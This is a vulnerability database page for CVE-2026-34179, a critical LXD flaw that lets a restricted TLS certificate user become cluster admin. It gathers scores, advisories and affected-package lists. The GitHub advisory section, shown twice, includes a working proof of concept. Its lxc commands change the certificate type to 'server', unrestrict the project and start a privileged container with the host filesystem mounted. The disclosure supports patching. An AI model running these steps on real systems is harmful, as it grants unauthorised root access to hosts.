Every CVE Search/ Get API key

CVE-2026-34179

Update of type field in restricted TLS certificate allows privilege escalation to cluster admin

9.1 CriticalFix available

In Canonical LXD versions 4.12 through 6.7, the doCertificateUpdate function in lxd/certificates.go does not validate the Type field when handling PUT/PATCH requests to /1.0/certificates/{fingerprint} for restricted TLS certificate users, allowing a remote authenticated attacker to escalate privileges to cluster admin.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
High
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.28%Up 0.2 points since Apr 9, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.1

Update of type field in restricted TLS certificate allows privilege escalation to cluster admin

In Canonical LXD versions 4.12 through 6.7, the doCertificateUpdate function in lxd/certificates.go does not validate the Type field when handling PUT/PATCH requests to /1.0/certificates/{fingerprint} for restricted TLS certificate users, allowing a remote authenticated attacker to escalate privileges to cluster admin.

Record
CVE-2026-34179
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-915
Updated
2026-11-02
EUVDEUVD-2026-20876 9.1

In Canonical LXD versions 4.12 through 6.7, the doCertificateUpdate function in lxd/certificates.go does not validate the Type field when handling PUT/PATCH requests to /1.0/certificates/{fingerprint} for restricted TLS certificate users, allowing a remote authenticated attacker to escalate privileges to cluster admin.

Record
EUVD-2026-20876
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-c3h3-89qf-jqm5 9.1

LXD: Update of type field in restricted TLS certificate allows privilege escalation to cluster admin

Summary

A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from client to server via PUT/PATCH to /1.0/certificates/{fingerprint}. The non-admin guard and reset block in doCertificateUpdate fail to validate or reset the Type field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting ProtocolCluster with full admin privileges.

Details

doCertificateUpdate in lxd/certificates.go handles PUT/PATCH requests to /1.0/certificates/{fingerprint} for both privileged and unprivileged callers. The access handler is allowAuthenticated, so any trusted TLS user (including restricted) can reach this code.

For unprivileged callers (restricted users who fail the EntitlementCanEdit check at line 975), two defenses are intended to prevent field tampering:

  1. The guard block validates that Restricted, Name, and Projects match the original database record. Does not check Type.
		// Ensure the user in not trying to change fields other than the certificate.
		if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) {
			return response.Forbidden(errors.New("Only the certificate can be changed"))
		}
  1. The reset block rebuilds the dbCert struct using original values for Restricted, Name, and Certificate. Uses reqDBType (caller-supplied) for Type instead of the original dbInfo type.
		// Reset dbCert in order to prevent possible future security issues.
		dbCert = dbCluster.Certificate{
			Certificate: dbInfo.Certificate,
			Fingerprint: dbInfo.Fingerprint,
			Restricted:  dbInfo.Restricted,
			Name:        dbInfo.Name,
			Type:        reqDBType,
		}

This allows the attacker to update the Type field of their own certificate from client to server, bypassing the authorization controls and escalating to cluster admin.

PoC

Tested on lxd 6.7.

As admin, create restricted project and restricted certificate:

# Create restricted project
lxc project create poc-restricted -c restricted=true
lxc profile device add default root disk path=/ pool=default --project poc-restricted
lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

# Add client certificate
lxc config trust add --restricted --projects poc-restricted --name poc-user
# pass token to user

As restricted user:

# Add token
lxc remote add target <token>

# Confirm we can only see the poc-restricted project
lxc project list target:

# Confirm we can't unrestrict the project
lxc project set target:poc-restricted restricted=false

# Get own certificate fingerprint
fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')

# Update the type of certificate to server
lxc query -X PATCH -d '{ "type": "server" }' target:$fp
# or 
# lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "projects": ["poc-restricted"], "certificate": "" }' target:$fp

# Confirm type is 'server'
lxc config trust list target:

# Set project to restricted=false
lxc project set target:poc-restricted restricted=false

# Start privileged container (and escape to root)
lxc init ubuntu:24.04 target:privileged -c security.privileged=true
lxc config device add target:privileged hostfs disk source=/ path=/mnt/host
lxc start target:privileged

Impact

Privilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.

Cluster admin can create privileged containers (security.privileged=true) or pass raw LXC config (raw.lxc), which provides root-level access to the host, leading to full host compromise.

The attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.

Affects any LXD deployment using legacy restricted TLS…

Record
GHSA-c3h3-89qf-jqm5
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-915
Updated
2026-11-02
NVD 9.1

In Canonical LXD versions 4.12 through 6.7, the doCertificateUpdate function in lxd/certificates.go does not validate the Type field when handling PUT/PATCH requests to /1.0/certificates/{fingerprint} for restricted TLS certificate users, allowing a remote authenticated attacker to escalate privileges to cluster admin.

Record
CVE-2026-34179
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-915
Updated
2026-11-02
OSV 9.1

Update of type field in restricted TLS certificate allows privilege escalation to cluster admin

In Canonical LXD versions 4.12 through 6.7, the doCertificateUpdate function in lxd/certificates.go does not validate the Type field when handling PUT/PATCH requests to /1.0/certificates/{fingerprint} for restricted TLS certificate users, allowing a remote authenticated attacker to escalate privileges to cluster admin.

Record
CVE-2026-34179
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-915
Updated
2026-11-02
OSVDEBIAN-CVE-2026-34179 9.1

In Canonical LXD versions 4.12 through 6.7, the doCertificateUpdate function in lxd/certificates.go does not validate the Type field when handling PUT/PATCH requests to /1.0/certificates/{fingerprint} for restricted TLS certificate users, allowing a remote authenticated attacker to escalate privileges to cluster admin.

Record
DEBIAN-CVE-2026-34179
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
Show 5 moreShow less
OSVGHSA-c3h3-89qf-jqm5 9.1

LXD: Update of type field in restricted TLS certificate allows privilege escalation to cluster admin

Summary

A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from client to server via PUT/PATCH to /1.0/certificates/{fingerprint}. The non-admin guard and reset block in doCertificateUpdate fail to validate or reset the Type field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting ProtocolCluster with full admin privileges.

Details

doCertificateUpdate in lxd/certificates.go handles PUT/PATCH requests to /1.0/certificates/{fingerprint} for both privileged and unprivileged callers. The access handler is allowAuthenticated, so any trusted TLS user (including restricted) can reach this code.

For unprivileged callers (restricted users who fail the EntitlementCanEdit check at line 975), two defenses are intended to prevent field tampering:

  1. The guard block validates that Restricted, Name, and Projects match the original database record. Does not check Type.
		// Ensure the user in not trying to change fields other than the certificate.
		if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) {
			return response.Forbidden(errors.New("Only the certificate can be changed"))
		}
  1. The reset block rebuilds the dbCert struct using original values for Restricted, Name, and Certificate. Uses reqDBType (caller-supplied) for Type instead of the original dbInfo type.
		// Reset dbCert in order to prevent possible future security issues.
		dbCert = dbCluster.Certificate{
			Certificate: dbInfo.Certificate,
			Fingerprint: dbInfo.Fingerprint,
			Restricted:  dbInfo.Restricted,
			Name:        dbInfo.Name,
			Type:        reqDBType,
		}

This allows the attacker to update the Type field of their own certificate from client to server, bypassing the authorization controls and escalating to cluster admin.

PoC

Tested on lxd 6.7.

As admin, create restricted project and restricted certificate:

# Create restricted project
lxc project create poc-restricted -c restricted=true
lxc profile device add default root disk path=/ pool=default --project poc-restricted
lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

# Add client certificate
lxc config trust add --restricted --projects poc-restricted --name poc-user
# pass token to user

As restricted user:

# Add token
lxc remote add target <token>

# Confirm we can only see the poc-restricted project
lxc project list target:

# Confirm we can't unrestrict the project
lxc project set target:poc-restricted restricted=false

# Get own certificate fingerprint
fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')

# Update the type of certificate to server
lxc query -X PATCH -d '{ "type": "server" }' target:$fp
# or 
# lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "projects": ["poc-restricted"], "certificate": "" }' target:$fp

# Confirm type is 'server'
lxc config trust list target:

# Set project to restricted=false
lxc project set target:poc-restricted restricted=false

# Start privileged container (and escape to root)
lxc init ubuntu:24.04 target:privileged -c security.privileged=true
lxc config device add target:privileged hostfs disk source=/ path=/mnt/host
lxc start target:privileged

Impact

Privilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.

Cluster admin can create privileged containers (security.privileged=true) or pass raw LXC config (raw.lxc), which provides root-level access to the host, leading to full host compromise.

The attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.

Affects any LXD deployment using legacy restricted TLS…

Record
GHSA-c3h3-89qf-jqm5
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-915
Updated
2026-11-02
OSVUBUNTU-CVE-2026-34179 9.1

In Canonical LXD versions 4.12 through 6.7, the doCertificateUpdate function in lxd/certificates.go does not validate the Type field when handling PUT/PATCH requests to /1.0/certificates/{fingerprint} for restricted TLS certificate users, allowing a remote authenticated attacker to escalate privileges to cluster admin.

Record
UBUNTU-CVE-2026-34179
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
OSVGO-2026-5306 No score

Type field in restricted TLS certificate allows privilege escalation in github.com/canonical/lxd

Type field in restricted TLS certificate allows privilege escalation in github.com/canonical/lxd

Record
GO-2026-5306
Updated
2026-11-02
OSVopenSUSE-SU-2026:21761-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).

    Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2026-5026 CVE-2026-39821
    • GO-2026-6225
    • GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw
    • GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h
    • GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q
    • GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6
    • GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86
    • GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p
    • GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6
    • GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68
    • GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v
    • GO-2026-6262 GHSA-22w5-2fxg-vrwx
    • GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28
    • GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j
    • GO-2026-6265 GHSA-8fxq-53rx-ph5f
    • GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m
    • GO-2026-6267 GHSA-h58c-xccx-75m3
    • GO-2026-6268 GHSA-q9c5-pp7m-fm2g
    • GO-2026-6269 GHSA-rxhg-vcww-2mpw
    • GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5
    • GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m
    • GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97
    • GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28
    • GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w
    • GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34
    • GO-2026-6277 GHSA-4ph6-mjv7-3fq6
    • GO-2026-6278 GHSA-w67g-5rqw-f597
    • GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v
    • GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw
    • GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4
    • GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9
    • GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q
    • GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg
    • GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr
    • GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4
    • GO-2026-6287 GHSA-vx2m-jpxr-xv7w
    • GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr
    • GO-2026-6289 GHSA-w8j7-39hp-8x59
    • GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3
    • GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58
    • GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m
    • GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq
    • GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff
    • GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx
    • GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9
    • GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm
    • GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp
    • GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px
    • GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf
    • GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf

  • Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.

    Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2026-4720 GHSA-v3mg-9v85-fcm7
    • GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc
    • GO-2026-4950
    • GO-2026-6093 GHSA-464c-974j-9xm6
    • GO-2026-6094 GHSA-gcjh-h69q-9w9g
    • GO-2026-6095 GHSA-r277-6w6q-xmqw
    • GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737
    • GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv
    • GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q
    • GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv
    • GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf
    • GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8
    • GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp
    • GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp
    • GO-2026-6105 GHSA-c534-2w9c-x7fm
    • GO-2026-6106 GHSA-v6w6-358x-2433
    • GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3
    • GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq
    • GO-2026-6109 GHSA-86cx-wwf4-phq4
    • GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75
    • GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h
    • GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq
    • GO-2026-6113 GHSA-p6ph-3jx2-3337
    • GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8
    • GO-2026-6115 CVE-2026-56867
    • GO-2026-6117 GHSA-hp74-gm6m-2qm5
    • GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7
    • GO-2026-6119 CVE-2026-43983…
Record
openSUSE-SU-2026:21761-1
Updated
2026-11-02
OSVSUSE-SU-2026:23625-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).

    Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2026-5026 CVE-2026-39821
    • GO-2026-6225
    • GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw
    • GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h
    • GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q
    • GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6
    • GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86
    • GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p
    • GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6
    • GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68
    • GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v
    • GO-2026-6262 GHSA-22w5-2fxg-vrwx
    • GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28
    • GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j
    • GO-2026-6265 GHSA-8fxq-53rx-ph5f
    • GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m
    • GO-2026-6267 GHSA-h58c-xccx-75m3
    • GO-2026-6268 GHSA-q9c5-pp7m-fm2g
    • GO-2026-6269 GHSA-rxhg-vcww-2mpw
    • GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5
    • GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m
    • GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97
    • GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28
    • GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w
    • GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34
    • GO-2026-6277 GHSA-4ph6-mjv7-3fq6
    • GO-2026-6278 GHSA-w67g-5rqw-f597
    • GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v
    • GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw
    • GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4
    • GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9
    • GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q
    • GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg
    • GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr
    • GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4
    • GO-2026-6287 GHSA-vx2m-jpxr-xv7w
    • GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr
    • GO-2026-6289 GHSA-w8j7-39hp-8x59
    • GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3
    • GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58
    • GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m
    • GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq
    • GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff
    • GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx
    • GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9
    • GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm
    • GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp
    • GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px
    • GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf
    • GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf

  • Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.

    Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2026-4720 GHSA-v3mg-9v85-fcm7
    • GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc
    • GO-2026-4950
    • GO-2026-6093 GHSA-464c-974j-9xm6
    • GO-2026-6094 GHSA-gcjh-h69q-9w9g
    • GO-2026-6095 GHSA-r277-6w6q-xmqw
    • GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737
    • GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv
    • GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q
    • GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv
    • GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf
    • GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8
    • GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp
    • GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp
    • GO-2026-6105 GHSA-c534-2w9c-x7fm
    • GO-2026-6106 GHSA-v6w6-358x-2433
    • GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3
    • GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq
    • GO-2026-6109 GHSA-86cx-wwf4-phq4
    • GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75
    • GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h
    • GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq
    • GO-2026-6113 GHSA-p6ph-3jx2-3337
    • GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8
    • GO-2026-6115 CVE-2026-56867
    • GO-2026-6117 GHSA-hp74-gm6m-2qm5
    • GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7
    • GO-2026-6119 CVE-2026-43983…
Record
SUSE-SU-2026:23625-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/canonical/lxd
Go
 0.0.0-20210305023314-538ac3df036e to 0.0.0-20260226085519-736f34afb267 None known
incus
Debian:13
 before 6.0.4-2+deb13u6, plus listed versions
6.0.4-26.0.4-2+deb13u16.0.4-2+deb13u1~bpo12+16.0.4-2+deb13u26.0.4-2+deb13u2~bpo12+1
Show 7 moreShow less
6.0.4-2+deb13u36.0.4-2+deb13u3~bpo12+16.0.4-2+deb13u46.0.4-2+deb13u4~bpo12+16.0.4-2+deb13u56.0.4-2+deb13u5~bpo12+16.0.4-2+deb13u6~bpo12+1
6.0.4-2+deb13u6
incus
Debian:14
 before 6.0.6-3, plus listed versions
6.0.4-26.0.4-36.0.5-16.0.5-26.0.5-3
Show 7 moreShow less
6.0.5-46.0.5-56.0.5-66.0.5-76.0.5-86.0.6-16.0.6-2
6.0.6-3
lxd
Debian:12
 All versions, plus listed versions
5.0.2+git20231211.1364ae4-15.0.2+git20231211.1364ae4-25.0.2+git20231211.1364ae4-35.0.2+git20231211.1364ae4-45.0.2+git20231211.1364ae4-5
Show 12 moreShow less
5.0.2+git20231211.1364ae4-65.0.2+git20231211.1364ae4-75.0.2+git20231211.1364ae4-85.0.2+git20231211.1364ae4-95.0.2-55.0.2-5+deb12u15.0.2-5+deb12u25.0.2-5+deb12u35.0.2-5+deb12u45.0.2-5+deb12u55.0.2-5+deb12u65.0.2-6
 None known
lxd
Debian:13
 before 5.0.2+git20231211.1364ae4-9+deb13u5, plus listed versions
5.0.2+git20231211.1364ae4-95.0.2+git20231211.1364ae4-9+deb13u15.0.2+git20231211.1364ae4-9+deb13u25.0.2+git20231211.1364ae4-9+deb13u35.0.2+git20231211.1364ae4-9+deb13u4
5.0.2+git20231211.1364ae4-9+deb13u5
github.com/canonical/lxd
Go
 All versions None known
govulncheck-vulndb
SUSE:Linux Enterprise Server 16.0
From an advisory covering 181 CVEs
 before 0.0.20260827T195228-160000.1.1
0.0.20260827T195228-160000.1.1
govulncheck-vulndb
SUSE:Linux Enterprise Server for SAP applications 16.0
From an advisory covering 181 CVEs
 before 0.0.20260827T195228-160000.1.1
0.0.20260827T195228-160000.1.1
incus
Ubuntu:Pro:24.04:LTS
 All versions, plus listed versions
0.4-1ubuntu10.5.1-10.5.1-30.6-16.0.0-1
Show 7 moreShow less
6.0.0-1ubuntu0.16.0.0-1ubuntu0.26.0.0-1ubuntu0.2+esm16.0.0-1ubuntu0.36.0.0-1ubuntu0.3+esm16.0.0-1ubuntu0.3+esm26.0.0-1ubuntu0.3+esm3
 None known
incus
Ubuntu:25.10
 All versions, plus listed versions
6.0.3-46.0.4-2
 None known
incus
Ubuntu:26.10
 All versions, plus listed versions
6.0.5-87.0.1-5
 None known
incus
Ubuntu:Pro:26.04:LTS
 All versions, plus listed versions
6.0.4-26.0.5-86.0.5-8ubuntu0.26.04.1~esm1
 None known
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 181 CVEs
 before 0.0.20260827T195228-160000.1.1
0.0.20260827T195228-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-34179 is a critical vulnerability (CVSS 9.1) in Canonical Lxd, published April 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.28%, the 20th percentile. Fixed in incus 6.0.4-2+deb13u6.

References

Show 186 moreShow less
This page doesn't list everything

Left out here: the rest of 4 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open